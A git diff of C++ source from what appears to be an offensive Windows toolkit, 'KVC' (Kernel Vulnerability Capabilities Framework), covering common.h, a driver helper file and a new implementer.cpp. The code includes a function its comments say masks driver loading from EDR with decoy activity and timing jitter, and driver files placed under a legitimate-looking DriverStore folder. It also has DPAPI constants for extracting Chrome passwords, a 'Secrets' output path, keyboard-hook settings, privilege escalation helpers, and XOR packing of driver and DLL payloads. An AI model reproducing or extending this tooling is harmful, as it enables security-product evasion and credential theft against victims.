||||
}
|
||||
|
||||
// Fallback: Use user temp directory
|
||||
wchar_t tempDir[MAX_PATH];
|
||||
if (GetTempPathW(MAX_PATH, tempDir) > 0) {
|
||||
return std::wstring(tempDir);
|
||||
}
|
||||
|
||||
// Last resort: Hardcoded fallback path
|
||||
return L"C:\\Windows\\Temp";
|
||||
}
|
||||
|
||||
// Generate innocuous system activity to mask driver operations from EDR
|
||||
// Creates legitimate registry access and file enumeration patterns
|
||||
// Purpose: Blend driver loading with normal Windows background activity
|
||||
// Generates benign system activity to mask driver operations from EDR
|
||||
void GenerateFakeActivity() noexcept
|
||||
{
|
||||
// Registry access to common Windows version key (normal behavior)
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
|
||||
@@ -276,7 +219,6 @@ void GenerateFakeActivity() noexcept
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// File enumeration in System32 directory (typical for system tools)
|
||||
wchar_t systemDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
|
||||
WIN32_FIND_DATAW findData;
|
||||
@@ -288,6 +230,5 @@ void GenerateFakeActivity() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Random delay to vary timing patterns (anti-detection measure)
|
||||
Sleep(50 + (GetTickCount() % 100));
|
||||
}
|
||||
367
kvc/common.h
367
kvc/common.h
@@ -1,3 +1,6 @@
|
||||
// common.h
|
||||
// Common definitions, utilities and includes for KVC Framework
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
@@ -7,6 +10,7 @@
|
||||
#include <Shlobj.h>
|
||||
#include <accctrl.h>
|
||||
#include <aclapi.h>
|
||||
#include <wincrypt.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <optional>
|
||||
@@ -14,6 +18,15 @@
|
||||
#include <array>
|
||||
#include <chrono>
|
||||
#include <memory>
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <iomanip>
|
||||
#include <filesystem>
|
||||
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
// Session management constants
|
||||
inline constexpr int MAX_SESSIONS = 16;
|
||||
|
||||
#ifdef BUILD_DATE
|
||||
#define __DATE__ BUILD_DATE
|
||||
@@ -29,7 +42,17 @@
|
||||
#undef ERROR
|
||||
#endif
|
||||
|
||||
#ifndef SHTDN_REASON_MAJOR_SOFTWARE
|
||||
#define SHTDN_REASON_MAJOR_SOFTWARE 0x00030000
|
||||
#endif
|
||||
|
||||
#ifndef SHTDN_REASON_MINOR_RECONFIGURE
|
||||
#define SHTDN_REASON_MINOR_RECONFIGURE 0x00000004
|
||||
#endif
|
||||
|
||||
// Smart module handle management
|
||||
|
||||
// Custom deleter for HMODULE with FreeLibrary
|
||||
struct ModuleDeleter {
|
||||
void operator()(HMODULE mod) const noexcept {
|
||||
if (mod) {
|
||||
@@ -38,6 +61,7 @@ struct ModuleDeleter {
|
||||
}
|
||||
};
|
||||
|
||||
// Custom deleter for system modules (no cleanup needed)
|
||||
struct SystemModuleDeleter {
|
||||
void operator()(HMODULE) const noexcept {
|
||||
// System modules obtained via GetModuleHandle don't need to be freed
|
||||
@@ -47,7 +71,9 @@ struct SystemModuleDeleter {
|
||||
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
|
||||
using SystemModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, SystemModuleDeleter>;
|
||||
|
||||
// Logging system with message formatting
|
||||
// Fixed logging system with proper buffer size and variadic handling
|
||||
|
||||
// Print formatted message with prefix
|
||||
template<typename... Args>
|
||||
void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
||||
{
|
||||
@@ -61,32 +87,66 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
||||
else
|
||||
{
|
||||
wchar_t buffer[1024];
|
||||
swprintf_s(buffer, format, std::forward<Args>(args)...);
|
||||
swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
|
||||
ss << buffer;
|
||||
}
|
||||
|
||||
ss << L"\r\n";
|
||||
std::wcout << ss.str();
|
||||
std::wcout.flush(); // <--- DODAJ TO!
|
||||
}
|
||||
|
||||
// Print critical message in red color
|
||||
template<typename... Args>
|
||||
void PrintCriticalMessage(const wchar_t* format, Args&&... args) {
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
|
||||
std::wstringstream ss;
|
||||
ss << L"[!] ";
|
||||
|
||||
if constexpr (sizeof...(args) > 0) {
|
||||
wchar_t buffer[1024];
|
||||
swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
|
||||
ss << buffer;
|
||||
} else {
|
||||
ss << format;
|
||||
}
|
||||
|
||||
ss << L"\r\n";
|
||||
std::wcout << ss.str();
|
||||
std::wcout.flush();
|
||||
|
||||
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
#if kvc_DEBUG_ENABLED
|
||||
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__)
|
||||
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, ##__VA_ARGS__)
|
||||
#else
|
||||
#define DEBUG(format, ...) do {} while(0)
|
||||
#endif
|
||||
|
||||
#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__)
|
||||
#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__)
|
||||
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__)
|
||||
#define ERROR(format, ...) PrintMessage(L"[-] ", format, ##__VA_ARGS__)
|
||||
#define INFO(format, ...) PrintMessage(L"[*] ", format, ##__VA_ARGS__)
|
||||
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, ##__VA_ARGS__)
|
||||
#define CRITICAL(format, ...) PrintCriticalMessage(format, ##__VA_ARGS__)
|
||||
|
||||
// Log last error for failed function
|
||||
#define LASTERROR(f) \
|
||||
do { \
|
||||
wchar_t buf[256]; \
|
||||
swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
|
||||
swprintf_s(buf, 256, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
|
||||
std::wcout << buf; \
|
||||
} while(0)
|
||||
|
||||
// Windows protection type definitions
|
||||
|
||||
// Process protection level enumeration
|
||||
enum class PS_PROTECTED_TYPE : UCHAR
|
||||
{
|
||||
None = 0,
|
||||
@@ -94,6 +154,7 @@ enum class PS_PROTECTED_TYPE : UCHAR
|
||||
Protected = 2
|
||||
};
|
||||
|
||||
// Process signer type enumeration
|
||||
enum class PS_PROTECTED_SIGNER : UCHAR
|
||||
{
|
||||
None = 0,
|
||||
@@ -110,22 +171,22 @@ enum class PS_PROTECTED_SIGNER : UCHAR
|
||||
|
||||
// Service-related constants
|
||||
namespace ServiceConstants {
|
||||
constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
|
||||
constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
|
||||
constexpr const wchar_t* SERVICE_PARAM = L"--service";
|
||||
inline constexpr wchar_t SERVICE_NAME[] = L"KernelVulnerabilityControl";
|
||||
inline constexpr wchar_t SERVICE_DISPLAY_NAME[] = L"Kernel Vulnerability Capabilities Framework";
|
||||
inline constexpr wchar_t SERVICE_PARAM[] = L"--service";
|
||||
|
||||
// Keyboard hook settings
|
||||
constexpr int CTRL_SEQUENCE_LENGTH = 5;
|
||||
constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
|
||||
constexpr DWORD CTRL_DEBOUNCE_MS = 50;
|
||||
inline constexpr int CTRL_SEQUENCE_LENGTH = 5;
|
||||
inline constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
|
||||
inline constexpr DWORD CTRL_DEBOUNCE_MS = 50;
|
||||
}
|
||||
|
||||
// DPAPI constants for password extraction
|
||||
namespace DPAPIConstants {
|
||||
constexpr int SQLITE_OK = 0;
|
||||
constexpr int SQLITE_ROW = 100;
|
||||
constexpr int SQLITE_DONE = 101;
|
||||
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
||||
inline constexpr int SQLITE_OK = 0;
|
||||
inline constexpr int SQLITE_ROW = 100;
|
||||
inline constexpr int SQLITE_DONE = 101;
|
||||
inline constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
||||
|
||||
inline std::string GetChromeV10Prefix() { return "v10"; }
|
||||
inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; }
|
||||
@@ -186,6 +247,7 @@ extern volatile bool g_interrupted;
|
||||
|
||||
// Core driver functions
|
||||
bool InitDynamicAPIs() noexcept;
|
||||
extern "C" const wchar_t* GetServiceNameRaw();
|
||||
std::wstring GetServiceName() noexcept;
|
||||
std::wstring GetDriverFileName() noexcept;
|
||||
void GenerateFakeActivity() noexcept;
|
||||
@@ -196,18 +258,275 @@ bool IsServiceInstalled() noexcept;
|
||||
bool IsServiceRunning() noexcept;
|
||||
std::wstring GetCurrentExecutablePath() noexcept;
|
||||
|
||||
// Driver path helper
|
||||
// Get DriverStore path for driver operations
|
||||
// Searches for actual avc.inf_amd64_* directory in DriverStore FileRepository
|
||||
// Creates directory if needed, falls back to system32\drivers on failure
|
||||
inline std::wstring GetDriverStorePath() noexcept {
|
||||
wchar_t windowsDir[MAX_PATH];
|
||||
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) {
|
||||
wcscpy_s(windowsDir, L"C:\\Windows");
|
||||
}
|
||||
std::wstring result = windowsDir;
|
||||
return result + L"\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_12ca23d60da30d59";
|
||||
|
||||
std::wstring baseResult = windowsDir;
|
||||
std::wstring driverStoreBase = baseResult + L"\\System32\\DriverStore\\FileRepository\\";
|
||||
|
||||
// Dynamic search for avc.inf_amd64_* pattern in FileRepository
|
||||
WIN32_FIND_DATAW findData;
|
||||
std::wstring searchPattern = driverStoreBase + L"avc.inf_amd64_*";
|
||||
HANDLE hFind = FindFirstFileW(searchPattern.c_str(), &findData);
|
||||
|
||||
if (hFind != INVALID_HANDLE_VALUE) {
|
||||
// Found existing directory - use first match
|
||||
do {
|
||||
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||
FindClose(hFind);
|
||||
return driverStoreBase + findData.cFileName;
|
||||
}
|
||||
} while (FindNextFileW(hFind, &findData));
|
||||
FindClose(hFind);
|
||||
}
|
||||
|
||||
// No existing directory found - create with TrustedInstaller privileges
|
||||
std::wstring targetPath = driverStoreBase + L"avc.inf_amd64_12ca23d60da30d59";
|
||||
return targetPath;
|
||||
}
|
||||
|
||||
// Get DriverStore path with directory creation
|
||||
// Enhanced version that ensures directory exists before returning path
|
||||
inline std::wstring GetDriverStorePathSafe() noexcept {
|
||||
std::wstring driverPath = GetDriverStorePath();
|
||||
|
||||
// Ensure directory exists - critical for driver operations
|
||||
DWORD attrs = GetFileAttributesW(driverPath.c_str());
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
// Try to create if it doesn't exist
|
||||
if (!CreateDirectoryW(driverPath.c_str(), nullptr) &&
|
||||
GetLastError() != ERROR_ALREADY_EXISTS) {
|
||||
return L"";
|
||||
}
|
||||
} else if (!(attrs & FILE_ATTRIBUTE_DIRECTORY)) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
return driverPath;
|
||||
}
|
||||
|
||||
// KVC combined binary processing constants
|
||||
constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
|
||||
constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
|
||||
constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
|
||||
inline constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
inline constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
|
||||
inline constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
|
||||
inline constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
|
||||
|
||||
// ============================================================================
|
||||
// CONSOLIDATED UTILITY NAMESPACES
|
||||
// ============================================================================
|
||||
|
||||
// String conversion and manipulation utilities
|
||||
namespace StringUtils {
|
||||
// Convert UTF-8 string to wide string (UTF-16 LE)
|
||||
inline std::wstring UTF8ToWide(const std::string& str) noexcept {
|
||||
if (str.empty()) return L"";
|
||||
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(),
|
||||
static_cast<int>(str.size()), nullptr, 0);
|
||||
if (size_needed <= 0) return L"";
|
||||
|
||||
std::wstring result(size_needed, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()),
|
||||
result.data(), size_needed);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Convert wide string (UTF-16 LE) to UTF-8 string
|
||||
inline std::string WideToUTF8(const std::wstring& wstr) noexcept {
|
||||
if (wstr.empty()) return "";
|
||||
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(),
|
||||
static_cast<int>(wstr.size()),
|
||||
nullptr, 0, nullptr, nullptr);
|
||||
if (size_needed <= 0) return "";
|
||||
|
||||
std::string result(size_needed, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()),
|
||||
result.data(), size_needed, nullptr, nullptr);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Convert string to lowercase in-place
|
||||
inline std::wstring& ToLowerCase(std::wstring& str) noexcept {
|
||||
std::transform(str.begin(), str.end(), str.begin(), ::towlower);
|
||||
return str;
|
||||
}
|
||||
|
||||
// Create lowercase copy of string
|
||||
inline std::wstring ToLowerCaseCopy(const std::wstring& str) noexcept {
|
||||
std::wstring result = str;
|
||||
std::transform(result.begin(), result.end(), result.begin(), ::towlower);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
// Path and filesystem manipulation utilities
|
||||
namespace PathUtils {
|
||||
// Get user's Downloads folder path
|
||||
inline std::wstring GetDownloadsPath() noexcept {
|
||||
wchar_t* downloadsPath = nullptr;
|
||||
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) != S_OK) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
std::wstring result = downloadsPath;
|
||||
CoTaskMemFree(downloadsPath);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Get default secrets output path with timestamp
|
||||
// Format: Downloads\Secrets_DD.MM.YYYY
|
||||
inline std::wstring GetDefaultSecretsOutputPath() noexcept {
|
||||
std::wstring downloadsPath = GetDownloadsPath();
|
||||
if (downloadsPath.empty()) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
auto now = std::chrono::system_clock::now();
|
||||
auto time = std::chrono::system_clock::to_time_t(now);
|
||||
std::tm tm;
|
||||
localtime_s(&tm, &time);
|
||||
|
||||
wchar_t dateStr[16];
|
||||
swprintf_s(dateStr, L"_%02d.%02d.%04d",
|
||||
tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900);
|
||||
|
||||
return downloadsPath + L"\\Secrets" + dateStr;
|
||||
}
|
||||
|
||||
// Ensure directory exists, create if missing
|
||||
inline bool EnsureDirectoryExists(const std::wstring& path) noexcept {
|
||||
if (path.empty()) return false;
|
||||
|
||||
std::error_code ec;
|
||||
if (std::filesystem::exists(path, ec)) {
|
||||
return std::filesystem::is_directory(path, ec);
|
||||
}
|
||||
|
||||
return std::filesystem::create_directories(path, ec) && !ec;
|
||||
}
|
||||
|
||||
// Validate directory write access
|
||||
inline bool ValidateDirectoryWritable(const std::wstring& path) noexcept {
|
||||
try {
|
||||
std::filesystem::create_directories(path);
|
||||
|
||||
std::wstring testFile = path + L"\\test.tmp";
|
||||
HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
|
||||
|
||||
if (hTest == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
CloseHandle(hTest);
|
||||
DeleteFileW(testFile.c_str());
|
||||
return true;
|
||||
} catch (...) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Time and date formatting utilities
|
||||
namespace TimeUtils {
|
||||
// Get formatted timestamp string
|
||||
// Formats: "date_only", "datetime_file", "datetime_display"
|
||||
inline std::wstring GetFormattedTimestamp(const char* format = "datetime_file") noexcept {
|
||||
auto now = std::chrono::system_clock::now();
|
||||
auto time = std::chrono::system_clock::to_time_t(now);
|
||||
std::tm tm;
|
||||
localtime_s(&tm, &time);
|
||||
|
||||
std::wstringstream ss;
|
||||
|
||||
if (strcmp(format, "date_only") == 0) {
|
||||
ss << std::put_time(&tm, L"%d.%m.%Y");
|
||||
}
|
||||
else if (strcmp(format, "datetime_display") == 0) {
|
||||
ss << std::put_time(&tm, L"%Y-%m-%d %H:%M:%S");
|
||||
}
|
||||
else { // datetime_file (default)
|
||||
ss << std::put_time(&tm, L"%Y.%m.%d_%H.%M.%S");
|
||||
}
|
||||
|
||||
return ss.str();
|
||||
}
|
||||
}
|
||||
|
||||
// Cryptographic and encoding utilities
|
||||
namespace CryptoUtils {
|
||||
// Decode Base64 string to binary data
|
||||
inline std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept {
|
||||
if (encoded.empty()) return {};
|
||||
|
||||
DWORD decodedSize = 0;
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
|
||||
nullptr, &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
std::vector<BYTE> decoded(decodedSize);
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
|
||||
decoded.data(), &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
decoded.resize(decodedSize);
|
||||
return decoded;
|
||||
}
|
||||
|
||||
// Convert byte vector to hexadecimal string
|
||||
inline std::string BytesToHex(const std::vector<BYTE>& bytes, size_t maxBytes = 0) noexcept {
|
||||
if (bytes.empty()) return "";
|
||||
|
||||
size_t limit = (maxBytes > 0 && maxBytes < bytes.size()) ? maxBytes : bytes.size();
|
||||
|
||||
std::ostringstream hexStream;
|
||||
hexStream << std::hex << std::setfill('0');
|
||||
|
||||
for (size_t i = 0; i < limit; ++i) {
|
||||
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
|
||||
}
|
||||
|
||||
if (maxBytes > 0 && bytes.size() > maxBytes) {
|
||||
hexStream << "...";
|
||||
}
|
||||
|
||||
return hexStream.str();
|
||||
}
|
||||
}
|
||||
|
||||
// Windows privilege manipulation utilities
|
||||
namespace PrivilegeUtils {
|
||||
// Enable specified privilege in current process token
|
||||
inline bool EnablePrivilege(LPCWSTR privilege) noexcept {
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege, &luid)) {
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tp = {};
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp,
|
||||
sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
|
||||
DWORD lastError = GetLastError();
|
||||
CloseHandle(hToken);
|
||||
|
||||
return result && (lastError == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
757
kvc/implementer.cpp
Normal file
757
kvc/implementer.cpp
Normal file
@@ -0,0 +1,757 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <array>
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
#include <span>
|
||||
#include <ranges>
|
||||
#include <algorithm>
|
||||
#include <filesystem>
|
||||
#include <optional>
|
||||
#include <variant>
|
||||
#include <cstdint>
|
||||
#include <map>
|
||||
#include <sstream>
|
||||
#include <format>
|
||||
#include <expected>
|
||||
|
||||
#ifdef _WIN32
|
||||
#define NOMINMAX
|
||||
#include <windows.h>
|
||||
#include <fci.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <io.h>
|
||||
#pragma comment(lib, "cabinet.lib")
|
||||
#endif
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
namespace rng = std::ranges;
|
||||
|
||||
// XOR key (same as PowerShell version)
|
||||
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
|
||||
// Default file paths
|
||||
constexpr std::string_view DEFAULT_CONFIG = "kvc.ini";
|
||||
constexpr std::string_view TEMP_EVTX = "kvc.evtx";
|
||||
constexpr std::string_view TEMP_CAB = "kvc.cab";
|
||||
|
||||
// Console colors
|
||||
enum class Color : int {
|
||||
Default = 7,
|
||||
Green = 10,
|
||||
Red = 12,
|
||||
Yellow = 14,
|
||||
Cyan = 11
|
||||
};
|
||||
|
||||
void set_color(Color color) {
|
||||
#ifdef _WIN32
|
||||
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
|
||||
#else
|
||||
switch (color) {
|
||||
case Color::Green: std::cout << "\033[32m"; break;
|
||||
case Color::Red: std::cout << "\033[31m"; break;
|
||||
case Color::Yellow: std::cout << "\033[33m"; break;
|
||||
case Color::Cyan: std::cout << "\033[36m"; break;
|
||||
case Color::Default: std::cout << "\033[0m"; break;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void reset_color() {
|
||||
set_color(Color::Default);
|
||||
}
|
||||
|
||||
// RAII color guard
|
||||
class ColorGuard {
|
||||
public:
|
||||
explicit ColorGuard(Color new_color) {
|
||||
set_color(new_color);
|
||||
}
|
||||
~ColorGuard() {
|
||||
reset_color();
|
||||
}
|
||||
ColorGuard(const ColorGuard&) = delete;
|
||||
ColorGuard& operator=(const ColorGuard&) = delete;
|
||||
};
|
||||
|
||||
// Modern Result type using std::expected (C++23)
|
||||
template<typename T>
|
||||
using Result = std::expected<T, std::string>;
|
||||
|
||||
// Specialization for void
|
||||
using ResultVoid = std::expected<void, std::string>;
|
||||
|
||||
// Configuration structure
|
||||
struct Config {
|
||||
std::string driver_file;
|
||||
std::string dll_file;
|
||||
std::string icon_file;
|
||||
std::string output_file;
|
||||
};
|
||||
|
||||
// WinAPI file operations
|
||||
class WinFile {
|
||||
HANDLE handle{ INVALID_HANDLE_VALUE };
|
||||
|
||||
public:
|
||||
WinFile() = default;
|
||||
|
||||
WinFile(const std::string& filename, DWORD desiredAccess, DWORD creationDisposition) {
|
||||
std::wstring wide_name;
|
||||
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
|
||||
if (size > 0) {
|
||||
wide_name.resize(size);
|
||||
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_name.data(), size);
|
||||
}
|
||||
|
||||
handle = CreateFileW(
|
||||
wide_name.c_str(),
|
||||
desiredAccess,
|
||||
FILE_SHARE_READ,
|
||||
nullptr,
|
||||
creationDisposition,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr
|
||||
);
|
||||
}
|
||||
|
||||
~WinFile() {
|
||||
if (is_valid()) {
|
||||
CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
|
||||
bool is_valid() const { return handle != INVALID_HANDLE_VALUE; }
|
||||
HANDLE get() const { return handle; }
|
||||
|
||||
WinFile(const WinFile&) = delete;
|
||||
WinFile& operator=(const WinFile&) = delete;
|
||||
|
||||
WinFile(WinFile&& other) noexcept : handle(other.handle) {
|
||||
other.handle = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
WinFile& operator=(WinFile&& other) noexcept {
|
||||
if (this != &other) {
|
||||
if (is_valid()) {
|
||||
CloseHandle(handle);
|
||||
}
|
||||
handle = other.handle;
|
||||
other.handle = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
return *this;
|
||||
}
|
||||
};
|
||||
|
||||
// Check if file exists using WinAPI
|
||||
bool file_exists_winapi(const std::string& filename) {
|
||||
std::wstring wide_filename;
|
||||
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
|
||||
if (size > 0) {
|
||||
wide_filename.resize(size);
|
||||
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
|
||||
}
|
||||
|
||||
DWORD attrs = GetFileAttributesW(wide_filename.c_str());
|
||||
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
// Get file size using WinAPI
|
||||
Result<size_t> get_file_size_winapi(const std::string& filename) {
|
||||
std::wstring wide_filename;
|
||||
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
|
||||
if (size > 0) {
|
||||
wide_filename.resize(size);
|
||||
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
|
||||
}
|
||||
|
||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||
if (!GetFileAttributesExW(wide_filename.c_str(), GetFileExInfoStandard, &fileInfo)) {
|
||||
return std::unexpected("Cannot get file size: " + filename);
|
||||
}
|
||||
|
||||
return (static_cast<uint64_t>(fileInfo.nFileSizeHigh) << 32) | fileInfo.nFileSizeLow;
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
std::string format_size_kb(size_t bytes) {
|
||||
return std::format("{:.2f} KB", bytes / 1024.0);
|
||||
}
|
||||
|
||||
std::string trim(std::string_view str) {
|
||||
const auto start = str.find_first_not_of(" \t\r\n");
|
||||
if (start == std::string_view::npos) return "";
|
||||
const auto end = str.find_last_not_of(" \t\r\n");
|
||||
return std::string(str.substr(start, end - start + 1));
|
||||
}
|
||||
|
||||
// Read entire file into vector using WinAPI
|
||||
Result<std::vector<uint8_t>> read_file_winapi(const std::string& filename) {
|
||||
WinFile file(filename, GENERIC_READ, OPEN_EXISTING);
|
||||
if (!file.is_valid()) {
|
||||
return std::unexpected("Cannot open file: " + filename);
|
||||
}
|
||||
|
||||
auto size_result = get_file_size_winapi(filename);
|
||||
if (!size_result) {
|
||||
return std::unexpected(size_result.error());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> data(size_result.value());
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
if (!ReadFile(file.get(), data.data(), static_cast<DWORD>(data.size()), &bytesRead, nullptr)) {
|
||||
return std::unexpected("Error reading file: " + filename);
|
||||
}
|
||||
|
||||
if (bytesRead != data.size()) {
|
||||
return std::unexpected("Incomplete read of file: " + filename);
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Write data to file using WinAPI
|
||||
ResultVoid write_file_winapi(const std::string& filename, std::span<const uint8_t> data) {
|
||||
WinFile file(filename, GENERIC_WRITE, CREATE_ALWAYS);
|
||||
if (!file.is_valid()) {
|
||||
return std::unexpected("Cannot create file: " + filename);
|
||||
}
|
||||
|
||||
DWORD bytesWritten = 0;
|
||||
if (!WriteFile(file.get(), data.data(), static_cast<DWORD>(data.size()), &bytesWritten, nullptr)) {
|
||||
return std::unexpected("Error writing to file: " + filename);
|
||||
}
|
||||
|
||||
if (bytesWritten != data.size()) {
|
||||
return std::unexpected("Incomplete write to file: " + filename);
|
||||
}
|
||||
|
||||
return {};
|
||||
}
|
||||
|
||||
// XOR operation
|
||||
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
|
||||
for (size_t i = 0; i < data.size(); ++i) {
|
||||
data[i] ^= key[i % key.size()];
|
||||
}
|
||||
}
|
||||
|
||||
// Read INI configuration
|
||||
Result<Config> read_config(const std::string& config_path) {
|
||||
auto file_result = read_file_winapi(config_path);
|
||||
if (!file_result) {
|
||||
return std::unexpected(file_result.error());
|
||||
}
|
||||
|
||||
Config config;
|
||||
std::string content(file_result->begin(), file_result->end());
|
||||
std::istringstream stream(content);
|
||||
std::string line;
|
||||
std::string current_section;
|
||||
|
||||
while (std::getline(stream, line)) {
|
||||
line = trim(line);
|
||||
|
||||
if (line.empty() || line[0] == '#' || line[0] == ';') {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Section header
|
||||
if (line.starts_with('[') && line.ends_with(']')) {
|
||||
current_section = line.substr(1, line.length() - 2);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Key=Value pair
|
||||
size_t pos = line.find('=');
|
||||
if (pos != std::string::npos) {
|
||||
std::string key = trim(line.substr(0, pos));
|
||||
std::string value = trim(line.substr(pos + 1));
|
||||
|
||||
if (key == "DriverFile") {
|
||||
config.driver_file = value;
|
||||
